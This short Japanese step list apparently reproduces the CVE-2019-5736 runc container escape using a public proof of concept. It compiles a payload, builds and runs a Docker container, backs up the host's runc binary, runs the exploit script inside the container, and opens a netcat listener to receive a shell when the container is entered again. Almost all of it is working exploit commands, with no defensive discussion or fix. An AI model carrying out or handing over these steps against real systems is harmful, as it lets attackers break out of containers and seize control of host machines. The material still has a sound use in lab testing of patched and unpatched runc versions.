- (1). stage2.c をコンパイルしてペイロードを生成します
- (2). DockerFile をビルドします docker build -t cve .
- (3). docker run -d -t --name cvetest cve
- (4). ホストの runc バイナリをバックアップします cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
- (5). docker exec -it cve /bin/bash を実行します。
- (6). docker run 内で cd /root && ./run.sh && exit
- (7). 別のターミナルで待ち受けます nc -nlvvp 4455
- (8). 再度コンテナに入ります docker exec -it cve /bin/bash
参照 : https://github.com/agppp/cve-2019-5736-poc
以上